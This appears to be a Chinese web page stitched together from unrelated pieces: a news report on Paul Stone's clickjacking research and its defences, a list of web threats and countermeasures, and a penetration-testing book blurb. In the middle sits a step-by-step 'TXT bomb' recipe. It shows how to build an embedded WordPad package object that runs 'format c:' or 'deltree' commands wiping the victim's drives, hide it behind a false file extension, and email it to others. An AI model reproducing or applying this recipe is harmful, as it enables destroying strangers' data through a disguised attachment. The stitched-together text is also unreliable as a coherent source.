恶意攻击方法-研究人员演示-点击劫持 (恶意攻击方法有哪些)

近日一名计算机安全研究人员发布了一种新的基于浏览器的工具，可以用来发动新一代“点击劫持”攻击，本文我们将为大家揭晓这种新型点击劫持攻击方式。

点击劫持是一种Web方式攻击，通过诱骗用户点击包含隐藏按钮的网页的某些部分来执行恶意程序，隐藏按钮是通过隐形的iframe实现的，黑客则可以通过iframe将其他内容载入目标网站。如果是黑客精心设计Clickjacking攻击页面，那么无论用户进行正常鼠标点击还是无意间的鼠标点击动作，都可能会点击导致下载木马程序等恶意行为。

发现点击劫持漏洞的是两名安全研究人员Robert Hansen与Jeremiah Grossman，他们在2008年发现攻击者可以利用Adobe Flash的程序漏洞来远程控制受害者的摄像头和麦克风。

自那以后，很多网站和浏览器供应商都开始采取措施加强防御，但是仍有绝大多数网站并没有意识到这个漏洞的危害，英国Context Information Security公司的安全顾问Paul Stone在近日举行的黑帽会议上展示了四种新型点击劫持攻击，可以有效攻击大多数网站和浏览器。

Stone演示的其中一种攻击方式就是利用部署在所有浏览器中的拖放API(应用编程接口)。只需要利用某种社会工程学手段，就可以让用户将某条目拖动至一个网页中，而这就将导致文本被插入到字段中。

“这样我们将可以做很多操作，”Stone表示，“你可以从用户账户发送冒名电子邮件，也可以在文档编辑系统编辑文件。”

Stone还演示了一种内容提取点击劫持攻击，这种攻击可以用来窃取用来验证会话和防范CSRF(跨站请求伪造Cross-site request forgery)的令牌。在跨站请求伪造攻击中，web应用程序被欺骗至执行来自恶意网站的请求。

Stone研发了一种开发人员可以用来尝试新型点击劫持技术的工具，请点击此处下载。

这种工具是点击式浏览器应用程序，它有一个“可见的”重放模式来查看特定攻击的执行过程，还有一个“隐形”模式，可以从受害者角度观察攻击过程。该工具仍处于测试阶段，适用于Firefox 3.6，Stone表示他们正在努力研究与其他浏览器的兼容性。

Stone最近发现有两种针对浏览器的点击劫持漏洞，其中一个在IE中，另一个在Firefox中，这两个漏洞已经被修复，浏览器制造商也一直努力研究抵御点击劫持的方法。

IE8、Safari 4及更高版本、Chrome2及更高版本已经能够识别一种被称为X-Frame-Options的HTTP头域，只要网页附有此标签，浏览器就不允许网站包含在一个框架中，这也是点击劫持攻击需要的。Mozilla正在计划将此功能添加到未来版本的Firefox中。

网站还可以使用JavaScript来掩饰或者隐藏内容，或者阻止网页在iframe中显示，从而防御点击劫持攻击。Stone表示，目前Facebook和Twitter使用的是JavaScript，但没有使用X-Frame-Options，然而，使用JavaScript并不能完全阻止点击劫持攻击。

【编辑推荐】

关于发木马的问题！！！

TXT炸弹的制作 [color=deeppink][/color] 1.创建一个只包含一个空格( 我属于黑客之类，教你做木马) 为了减小文件体积)的文本文件，任意取名。 2.打开｛写字板文档｝，将此文件拖放入｛写字板文档｝。 也可以点击记｛写字板 文档｝单栏中的“插入\对象”，弹出“插入对象”对话框，选中“从文件创建”，然后 点击“浏览”按钮选择要插入的文件。 3.选中该插入对象的图标，选择菜单栏中的“编辑\包对象\编辑包”(如图1)。 在弹 出的“对象包装程序”对话框中，选择菜单栏中的“编辑\命令行”，然后输入如下命令 /m format c:/q /autotest /u ，点击“确定”，此时，内容栏中会显示 出命令内容。 4.点击外观栏中的“插入图标”按钮，会弹出一个警告对话框，确认，然后任选一 个图标。 5.选择菜单栏中的“编辑\卷标”，为此嵌入对象取一个名称(会替换原来的文件名 称)。 点击“文件”菜单中的“更新”，然后关闭此对话框。 6.将刚刚建立的嵌入对象拖放到桌面上。 文件的默认名是“碎片”（在2000下的默 认名为”片段”），现在我们把它改成“”。 打开电子邮件程序将桌面 上的“”作为附件发出，或者将含有嵌入对象(带有恶意命令)的文档作 为附件发出。 7.当邮件接收者误将“”文件作为“”(如前文 所述，“”扩展名永远是隐藏的)放心地打开时，或打开文件，点击文件中的嵌入对 象时触发恶意命令(弹出DOS运行窗口，执行格式化命令)．如果将上面的命令替换为：st /m deltree /y a:\*.* c:\*.* d:\*.* 则是将删除对方硬盘下所有文件（盘符 根据实际情况自定义）；如果替换为 /m deltree /y c:\windows\system\*.* 则是删除对方c:\windows\system\目录底下的所有文件．（当 然大家可以改成其它的命令） 很简单，这样一个恶意的攻击程序被弄出来了！

黑客攻击网站服务器是什么意思？

黑客攻击手段可分为非破坏性攻击和破坏性攻击两类。 非破坏性攻击一般是为了扰乱系统的运行，并不盗窃系统资料，通常采用拒绝服务攻击或信息炸弹；破坏性攻击是以侵入他人电脑系统、盗窃系统保密信息、破坏目标系统的数据为目的。 黑客攻击网站十大原因 1.桌面漏洞 Internet EXPlorer、Firefox和Windows操作系统中包含很多可以被黑客利用的漏洞，特别是在用户经常不及时安装补丁的情况下。 黑客会利用这些漏洞在不经用户同意的情况下自动下载恶意软件代码——也称作隐藏式下载。 2.服务器漏洞 由于存在漏洞和服务器管理配置错误，Internet Information server(IIS)和Apache网络服务器经常被黑客用来攻击。 服务器虚拟托管 同时托管几个甚至数千个网站的服务器也是恶意攻击的目标。 4.显性/开放式代理 被黑客控制的计算机可以被设置为代理服务器，躲避URL过滤对通信的控制，进行匿名上网或者充当非法网站数据流的中间人。 可以从网页内完全不同的服务器嵌入对象 用户可以从特定网站请求浏览网页，只自动地从Google分析服务器等合法网站下载对象;广告服务器;恶意软件下载网站;或者被重新导向至恶意软件网站。 6.普通用户对安全状况不了解 多数用户不了解三种SSL浏览器检查的原因;不了解如何验证所下载程序的合法性;不了解计算机是否不正常;在家庭网络内不使用防火墙;也不知道如何区分钓鱼网页和合法网页。 7.移动代码在网站上被广泛使用 在浏览器中禁用JavaScript、Java applets、应用、Flash或ActiveX似乎是个好主意，因为它们都会在您的计算机上自动执行脚本或代码，但是如果禁用这些功能，很多网站可能无法浏览。 这为编码糟糕的Web应用开启了大门，它们接受用户输入并使用Cookies，就像在跨站点脚本(XSS)中一样。 在这种情况下，某些需要访问与其他开放页面的数据(Cookies)Web应用会出现混乱。 任何接受用户输入的Web应用(博客、Wikis、评论部分)可能会在无意中接受恶意代码，而这些恶意代码可以被返回给其他用户，除非用户的输入被检查确认为恶意代码。 8.全天候高速宽带互联网接入的广泛采用 多数企业网络都受防火墙的保护，而无网络地址转换(NAT)防火墙的家庭用户很容易受到攻击而丢失个人信息;充当分布式拒绝访问服务(DDOS)的僵尸计算机;安装托管恶意代码的Web服务器——家庭用户可能不会对这些状况有任何怀疑。 9.对HTTP和HTTPS的普遍访问 访问互联网必须使用Web，所有计算机都可以通过防火墙访问HTTP和HTTPS(TCP端口80和443)。 可以假定所有计算机都能够访问外部网络。 很多程序都通过HTTP访问互联网，例如IM和P2P软件。 此外，这些被劫持的软件打开了发送僵尸网络命令的通道。 10.在邮件中采用嵌入式HTML 由于SMTP电子邮件网关会在一定程度上限制可以邮件的发送，黑客已经不经常在电子邮件中发送恶意代码。 相反，电子邮件中的HTML被用于从Web上获取恶意软件代码，而用户可能根本不知道已经向可以网站发送了请求。 抵御Web威胁的十大方法1.阻止对恶意软件服务器的访问 当台式机用户从未知的恶意软件服务器请求HTTP和HTTPS网页时，立即阻止此请求，节约带宽并扫描资源。 2.把移动代码限制到值得信任的网站 脚本和活跃代码等移动代码可以让网络更加丰富有趣，但也黑客渗透桌面计算机和运行可执行代码或应用来执行文件中嵌入的脚本。 3.在Web网关处扫描 不要认为您的所有桌面都是最新的，运行反病毒程序(AVP)或访问计算机管理完善。 在恶意软件尝试进入您的网络而不是已经进入桌面之前就要进行集中扫描，从而轻松地控制所有进入的Web通信(HTTP、HTTPS和ftp)。 4.使用不同厂商的产品进行桌面和Web网关扫描 现在的攻击在发布之前都针对流行的AVP进行测试。 通过恶意软件扫描的多样化增加阻止威胁的机会。 5.定期更新桌面和服务器补丁 多数攻击和威胁都利用应用和系统漏洞散播。 降低已知漏洞给您的计算机带来的风险。 6.安装反病毒软件并保持更新 自引导区病毒出现之日起，安装反病毒软件已经成为标准的程序，用来检查进入的文件、扫描内存和当前文件。 任何运行Windows的计算机都应当安装最新的反病毒软件。 如果“坏东西”已经突破所有其他网络保护，这就是最后的防线。 此外，反病毒软件可以很好地抵御通过非网络方法传播的恶意软件，例如光盘或USB闪存。 7.只访问通过所有浏览器检查的HTTPS网站 多数用户不了解三种SSL浏览器检查的重要性，或者不理解不要访问未通过所有三项检查的网站。 SSL检查是过期证书;不值得信任的发布者;以及证书与所请求URL之间的主机名不匹配。 8.只从值得信任的网站下载可执行程序 社会工程在互联网上非常活跃!一种发布恶意软件的有效方式是把其捆绑到看似有用的程序中。 执行以后，恶意软件就会为所欲为。 这种攻击类型也称作特洛伊木马攻击。 9.不要访问把IP地址用作服务器的网站 最近的攻击越来越多地利用安装有简单Web服务器的家用计算机。 受害者的机器通常通过IP地址而不是DNS主机名被导向新的家庭计算机服务器。 合法网站的URL会使用主机名。 10.仔细地输入网址避免错误 用户永远不要试图访问恶意软件网站，但意外总是有可能发生。 错误地输入网址通常会登录某些坐等您上门的网站。 如果您的浏览器未安装所有补丁，您很可能在下载过程中下载到恶意软件。

如何写一份网络渗透测试计划报告？

网络渗透测试计划报告网络和计算机安全问题已经成为政府、企业必须面对的现实问题。 应对安全威胁的途径之一就是采用渗透测试的方法模拟黑客的攻击，找出网络和计算机系统中存在的安全缺陷，有针对性地采取措施，堵住漏洞，固身健体。 渗透测试是一个日渐壮大的行业。 本书详细阐述了渗透测试中如何模拟外部攻击者对网络和主机的攻击和渗透，给出了各个步骤。 其内容可以划分为两部分：渗透测试的思想、方法、指导原则和具体的渗透测试过程。 前一部分重点放在理解渗透测试、评估风险和建立测试计划；后一部分着重介绍具体的操作和工具。 除了介绍攻击方法之外，基本上每一章都给出了检测攻击的方法，同时也说明了如何通过加固系统和网络来防止此类攻击。 在各章的末尾，都给出了运用本章介绍的工具和方法进行实际操作的示例。 本书为读者提供了渗透测试的思想、方法、过程和途径，而不仅仅是工具。 本书既可以作为政府、企业网络安全的参考资料，也可以作为大专院校学生渗透测试方面的教材，适用于招聘渗透测试人员的单位、要应聘渗透测试的人员及保护网络安全、避免恶意攻击的人员。